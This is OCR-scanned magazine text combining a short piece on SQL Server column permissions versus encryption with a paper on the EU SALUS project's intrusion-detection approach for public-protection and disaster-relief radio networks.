Sql Server 2008 R2 Enterprise Feature #4 (Column Permission)

Feature already part of Sql Server Enterprise Edition

Difficult to develop against missing/empty text

Fully integrated into Sql Server and MS supported

Implementation can be bypassed by Sql Server SysAdmin
account holders

Securing at a database level protects all entry points

Efficiently integrates into the Sql Server security architecture

Requires minimal code changes

Negligible performance impact on the database

&
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ACCESS CONTROL VS. ENCRYPTION
From the options described above some relate to controlling the level of user access to the data and
some directly to encryption.

One very common question that comes up when evaluating user encryption is, “How is this different
than access controls?” The distinction is in how you use them.

Encryption’s value is in providing a level of granularity beyond what’s possible with access controls,
protecting data as it moves (physically or virtually), and robustness.

Think of it as a lockbox — you can use it to protect something in the mail, or in a secure room to keep
it safe from the guard at the door. In a practical sense this means restricting administrators, who have
access to keys inside (DBA) or outside (IT Admin) the database, since access controls are very effec-
tive for all other users. Another more complex option is to use digital certificates outside the database,
adding (essentially) another authentication factor. This increases security, because simply compromis-
ing a username and password isn’t sufficient to read the data, and so is particularly useful for protecting
data utilized by service accounts.

THE DECISION PROCESS

A situation which commonly occurs with my clients whilst attempting to decide on an appropriate encryp-
tion/data access process (or in some cases just a short list) is a “blinkered” approach simply focusing on
the technologies, key lengths/management, algorithms, cryptography types etc... rather than focusing
on why encryption is on the road map anyway.... The key focus for the decision making process is: What
threat should the data be protected from?

Encrypting some/all the data in a database and developing additional processes surrounding the da-
tabase to handle the encryption is a lot of work, so there has to be a significant justification to do so and
there are some “big hitters” when it comes to highlighting the associated negative points which include
complexity, performance, time and money...

To ensure clear, concise and accurate responses to these negative factors always consider the follow-
ing 3 points when deciding on an approach:

1. What needs protecting?
2. What does it need protecting from?
3. What level of database/application/process changes can be invested?

Make no mistake, database encryption/access control is a large topic to take on and will more than likely
remain a cause for concern throughout the deployment, especially when faced with a complex environ-
ment. By following the 3 questions above and understanding what needs to be protected and what it is
being protected from, a suitable solution can be chosen.

ABOUT THE AUTHOR

Chris Kitchen — A Sql Server Administrator/Developer with 12 years’ experience, starting out as a junior data analyst right
through to technical lead. The industries | have worked in range from consultancies to government, blue chip and financial.
For those of you interested (or seriously board) you can find my resume online here.
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TOWARDS A SECURE NEXT GENERATION PPDR
COMMUNICATION:

SALUS APPROACH

by S.L.P. Yasakethu, O.Adigun and C. Politis

A secure communication network that is backward compatible
with legacy communication and new 4G technologies that
supports reliable and robust transmission of broadband data
is necessary to deliver a next generation services for Public
Protection and Disaster Relief agencies (PPDR). This paper
describes an intrusion detection approach to strengthen the
security procedures in PPDR systems as envisaged in the new
EU FP7 project SALUS. The project aims to achieve the above
goal by covering the full techno-economic scope regarding
development and deployment of this next generation of
communication networks for PPDR. PPDR architecture and
reference scenarios related to the research project are also
discussed in the paper. The development of such a framework
will improve the European next-generation communications
network strategies for PPDR agencies.

public protection and disaster risk agencies such as, fire brigade ser-

vices, ambulance services, police and auxiliary services such as mili-
tary search and rescue. These agencies are also known as “first respond-
ers”. The definition of PPDR is illustrated in Figure 1. PPDR incidents can be
divided in to 3 categories [1]: Category 1 — every day events such as house
fires, road accidents, dangerous crowd situations, street crime, etc. Category
2 — major events such as major fires, kidnappings, etc. Category 3 — natural
and man-made disasters with widespread social costs scaling up to major ca-
tastrophes such as terrorist attacks, earthquakes, flooding etc. In the above
mentioned PPDR related events, mobile phones and modems are widely
used for various applications by PPDR users nowadays while on the road
and at the scene. While services such as internet browsing, emailing and
video streaming is a standard practice on today’s 3G networks sophisticated

P ublic Protection and Disaster Relief (PPDR) services are provided by
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applications may also be deployed on basis of commercial cellular services. On the other hand in case of
accidents communication is required. During a disastrous incident or a popular event such as a hurricane
flooding or a football match, these commercial networks will usually be not available at all or fully loaded
due to the low level of resilience and lack of dedicated capacity for PPDR users.

Maintenance of law and
order, protection of life and
property and emergency
situations on daily basis

PPDR J

Serious disruption of the
functioning of society, posing
a significant widespread
threat to human life, health,
property or the environment

Disaster Relief

Figure 1. Definition of PPDR

Today, most of PPDR service agencies in Europe rely on digital Private Mobile Radio (PMR) networks
for mission-critical voice and data communications. In Europe TETRA (TErrestrial Trunked RAdio) and
TETRAPOL are the two main standards used for digital PMR networks. Most of these networks require
old fashion synchronous links and are based on mature technology. The hardware solutions used in the
networks are proprietary and will eventually become out of date. On the other hand the inter-technology
coverage provided is limited and results in ineffective management of PPDR events, both at the national
level and in cross-border regions.

Next generation PPDR communication networks are required to deal with legacy/obsolescence issues,
interoperability challenges and requirements for robust and reliable broadband data. The newly funded
EU FP 7 project SALUS (Security And InteroperabiLity in Next Generation PPDR CommUnication In-
frastructureS) aims to cover the full techno-economic scope regarding development and deployment of
these next generation communication networks for PPDR by focusing on integration with and migration
to 4G wireless communication networks. During the SALUS project, technology options will be analyzed
for different scenarios for deployment, operation and management. Moreover, a number of technical as-
pects such as; security, resilience, quality of service (QoS), inter-systems handover, and privacy sup-
port, will be thoroughly investigated to solve issues of interoperability with legacy TETRA/TETRAPOL
networks, security and scalability of future networks.

In this paper we discuss the reference scenarios used in SALUS, PPDR communication architecture
and an intrusion detection approach that will be developed to provide security to the PPDR infrastructure.

REFERENCE SENARIOS AND PPDR ARCHITECTURE

The vision of the SALUS is to enable reliable, robust and secure mobile broadband communication for
a wide variety of PPDR applications. The consortium has defined three reference scenarios for PPDR
agencies to investigate and accomplish the objectives of SALUS. Use cases and requirements together
with PPDR end-users will be derived from these reference scenarios. A description of the 3 reference
scenarios: City security, Temporary protection and Disaster recovery that will be considered in the proj-
ect are discussed below.

CITY SECURITY SCENARIO

The city scenario explores the management of a public disorder event with permanently deployed PPDR
infrastructure in a city location. This scenario considers secure communications needs for voice, video
and data application-services used by first responders during their normal day to day activities and will
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be supported by a combination of popular current PMR technologies (TETRA and TETRAPOL) and com-
mercial network technology (4G). The services and application requirement of the PPDR end users are
defined and how the availability of these services is affected by major disorderly and security incidents
in a city are investigated.

TEMPORARY PROTECTION SCENARIO

The temporary protection scenario considers the management of public disorder in a sport arena with
a combination of permanent and temporary PPDR infrastructure. This scenario will consider communi-
cation needs for voice, data and multimedia services in conventional permanent infrastructure of PPDR
systems as well as ad-hoc PPDR communication system. It will investigate interoperability with state-
of-the-art technologies (e.g. LTE, long range Wi-Fi ad-hoc networks, BANs, and PMR broadband) and
emerging technologies in order to provide adequate operational communication capacities with sufficient
security and privacy needs for the event management.

DISASTER RECOVERY SCENARIO

The disaster recovery scenario examines PPDR communications requirements for both short and me-
dium time periods, where all existing infrastructure has been rendered unserviceable by a man-made or
natural disaster. It focuses on the secure communications needs for voice, video and data applications-
services required by Rescue Workers, Military, Police, Fire, Ambulance and other rescue workers during
a significant disaster where all or a major part of the existing PPDR communications infrastructure has
been destroyed. It identifies the applications and services that can be introduced using local deployable
data networks, such as video from aircraft, location based asset management and mapping. This include
how securely deployable solutions integrate into existing PPDR with a holistic communication capabil-
ity, which addresses voice, video and data needs, either locally at the incident, or as remote situational
awareness and management system.
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Figure. 2. High level architecture of the PPDR system

Figure 2. illustrates a high level architecture of the PPDR system and how the different communication
technologies envisaged for future PPDR systems interact with a dynamic gateway. Conventional TETRA/
TETRAPOL, private and public LTE networks will be engineered to be interoperable and form a heteroge-
neous network with capability to support good quality voice, data and multimedia traffic. The command and
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control centre will handle and process a variety of applications based on IP based networking and main-
tains communications links with the field agents. The security of the entire architecture requires robust and
fortified security mechanisms to guarantee seamless communications.

SECURUTY VIAINTRUSION DETECTION

A main technical objective of SALUS is to design a secure architecture for next generation PPDR com-
munication networks. In line with this goal to develop a secure PPDR communication network, wireless
intrusion detection systems can be used as a second wall of defense in addition to the end-to-end se-
curity mechanisms for interoperable PPDR communication systems. Intrusion detection systems (IDS)
could be used to detect attacks to the network as soon as possible and take, when feasible, appropriate
actions to stop them. Although intrusion detection has been a popular research topic for decades, ad-
vancements in wireless intrusion detection are not yet promising.

In a PPDR communication networks, mobile nodes that are equipped with IDSs operate in promiscu-
ous mode to continuously or periodically monitor and analyse the traffic sent by their neighbours in order
to detect malicious packets. This can be done by either using a misuse-based or anomaly-based detec-
tion system depending on the network security management strategies. More details about misuse and
anomaly based intrusion detection will be discussed later in this section.

Mobile wireless intrusion detection nodes (devices) monitor the activities that occur in the network to
detect violations of a security policy of the PPDR infrastructure. During the recent past, wireless intrusion
detection has received considerable motivation owing to the following reasons [2] [3] [4]:

1. If an intrusion is detected quickly enough, an intruder can be identified quickly and ejected from
the network before any damage is done or any data is compromised. Even if the detection is not
sufficiently timely to pre-empt the intruder, the sooner that the intrusion is detected, the less is the
amount of potential damage done and the more quickly recovery can be achieved.

2. An effective intrusion detection system can serve as a deterrent, acting to prevent intrusion.

3. Intrusion detection enables the collection of information about intrusion techniques that can be used
to analyse the new threats and to strengthen the intrusion prevention facility.

Along with the above motivations, the intention of intrusion detection can be summarized as follows:

1. Detect as many types of attacks as possible (thereby increase the detection rate.

2. Detect intrusions as accurately as possible, thereby reducing the number of false alarms (incorrectly
identified events as intrusions).

3. Detect attacks in the shortest possible time, thereby reducing the damage of the attacks.

The above requirements have prompted researchers to develop various types of wireless IDS that fulfill
the above goals, which may help to prevent PPDR communication systems from attacks.

In the case of a wired LAN (local area network) the level of security provided by the physical infrastruc-
ture is usually sufficient. Adding the technology of wireless transmission, however will add vulnerabilities
that wired networks are not designed to deal with. Malicious users (or mobile nodes) attack the vulner-
abilities of the wireless network by using a sequence of events to break in to the PPDR system [5] [6].
These events result in characteristics that are defined by patterns of attack. The goal of any machine
learning based intrusion detection technique is to analyze the input event data and to detect patterns
that would reflect possible threats to the PPDR infrastructure. The core process of threat identification by
machine learning based intrusion detection is illustrated in Figure 3.

According to the detection principle used for the process shown in Figure 3, intrusion detection tech-

nigues can be classified into following main modules (but not limited to): Signature detection (misuse
detection) and Anomaly detection.
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normal or abnormal behaviour of the system)

Figure. 3. Core process of intrusion detection via machine learning
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Detection principles of each module are discussed in the following subsections.

SIGNATURE DETECTION (MISUSE DETECTION)
Signature detection, also known as misuse detection generates alarms when a known attack occurs in
the network. In this technique the behavior of the system is compared with unique patterns and charac-
teristics of known attacks, called signatures. This is typically done by measuring the similarity between
the input events and signatures of known attacks. If a match is found, an alarm is triggered. As a result,
known attack can be detected immediately with a low false-positive rate. However, if there is no similarity
match, the event is classified as normal behavior of the wireless network and the detection approach will
search for further patterns. Thus, signature detection can only detect known attacks.

Figure 4 illustrates the approach of signature detection. Signature detection heavily relies on the prior

knowledge of attack signatures. Thus the effectiveness of the detection mechanism relies on a frequent
updating of the signature database.

) Patterns der|veq from
system behaviour
No Database of
attack
signatures

Figure. 4. Signature detection approach
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ANOMALY DETECTION

Anomaly detection is an IDS triggering method that generates alarms when an event behaves different
from the expected behavior patterns. Thus this can be defined as a problem of finding patterns in data
that are different to the expected behavior of a system. Figure 5 illustrates the anomalous data patterns
in a simple 2-dimentional data set. In this example the data has two normal regions, N1 and N2.

Data that sufficiently deviate from these

YA regions, i.e. point A1, point A2 and region A3

_— are considered as anomalies. The anoma-

I/ et 00N ly detection approach has two main steps:

ke / training and detection. In the training step,

e O . A machine-learning techniques are used to

'\*' e | e generate a profile of normal behaviors that

i el define the healthy PPDR infrastructure. Dur-

A \ S e ;f ing the detection process, event records,

o 2 " which deviate from normal profiles, are

classified as attacks. Unlike signature de-

~~_ N tection, anomaly detection has the potential

L to detect novel attacks. However, anomaly

(’ e \ detection typically has a high false-positive

o A e e rate. This is because in anomaly detection,

£ As I SR any sufficient deviation from the base line is

flagged as an intrusion. Thus it is likely that

non-intrusive behavior that falls outside the

> normal region generates an alarm, resulting
X in a false-positive.

Figure. 5. Anomalies in a simple 2-dimentional data set

CHALLENGES IN INTRUSION DETECTION IN PPDR COMMUNICATION SYSTEMS

Although IDS have been successful in fixed wired networks it is very difficult to apply similar IDS in
wireless networks. This is mainly due to the lack of infrastructure that is present in the fixed wired net-
works. As a result many network based IDS that rely on real time traffic data (provided by a central-
ized monitoring node, e.g. router) cannot function well in the wireless environment. Wireless ad-hoc
networks, as in PPDR communication networks, does not have traffic concentration nodes to collect
data from the entire network.

At a given time the only available data will be limited to communication activities within a limited range
and the IDS should be intelligent to process partial and localized information. Also, it is difficult to distin-
guish between normal and anomaly behavior in PPDR communication systems. For example a mobile
node that sends invalid (false) routing information may be due to been compromised by an attack or it
could also be out of sync due to unpredictable physical movements of the mobile node. Thus there is no
clear separation between normal and anomaly behavior and as a result actual and false alarms are dif-
ficult to differentiate.

Furthermore, when developing intrusion detection systems for PPDR communication systems, discon-
nections in communication links are very common and are often part of the normal behavior of the sys-
tem. Reasons for this may be due to limited bandwidth, slower links and battery power constrains of the
mobile devices.

All the above reasons suggest that wireless IDS for PPDR communication should be developed tak-
ing into account the above characteristics and constrains. In summary, the following research questions
must be answered in order to develop an appropriate wireless IDS for PPDR communication systems:

1. What parameters/features should be included in the intrusion detection architecture such that is in
line with the characteristics of the mobile devices of the PPDR communication system?

2. How to derive a good model of activities that can be used to separate true anomalies from the nor-
mal behavior of the PPDR communication systems?

3. What are the appropriate traffic data sources? How to detect possible intrusions based on partial
and localized information? If the amount of data is insufficient, what further processing can be used?
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Finally if the appropriate IDS is developed the following characteristics must be fulfilled if security is de-
sired for the PPDR communication system [7].

+ Confidentiality: assurance that the message sent is readable only by the intended recipient (i.e. pro-
tection against interception, or eavesdropping)

» Authenticity: assurance that the message originates from the claimed entity (i.e. protection against
spoofing, or impersonation)

* Integrity: assurance that the message has not changed in transmission (i.e. protection from trans-
mission errors and/or intended modification of message)

* Availability: assurance that the data will be available whenever and wherever required (i.e. protection
against denial of service or poor reliability)

SALUS will attempt to address the above questions in order to achieve the above discussed design
goals. The project intends to enhance the currently available intrusion detection algorithms such that
they can be applied in PPDR broadband networks. In particular, SALUS will develop and validate ap-
proaches, methods and techniques for flow based intrusion detection within the context of PPDR multi-
cast and mobile wireless systems.

CONCLUSION

A newly funded EU FP7 project SALUS is underway to design, implement and evaluate a next-gener-
ation communications network concept for PPDR agencies, supported by network operators, industry
and academic partners. SALUS will provide security, privacy, QoS, seamless mobility, and reliability sup-
port for mission-critical professional mobile radio voice and broadband data services, as mentioned in
the project website [8]. This paper discusses the PPDR architecture, reference scenarios and highlights
some security aspects of the 3-year research project. The distributed framework of the project will ensure
an operational deployment in PPDR communication system security and will improve the European next-
generation communications network strategy for PPDR agencies.
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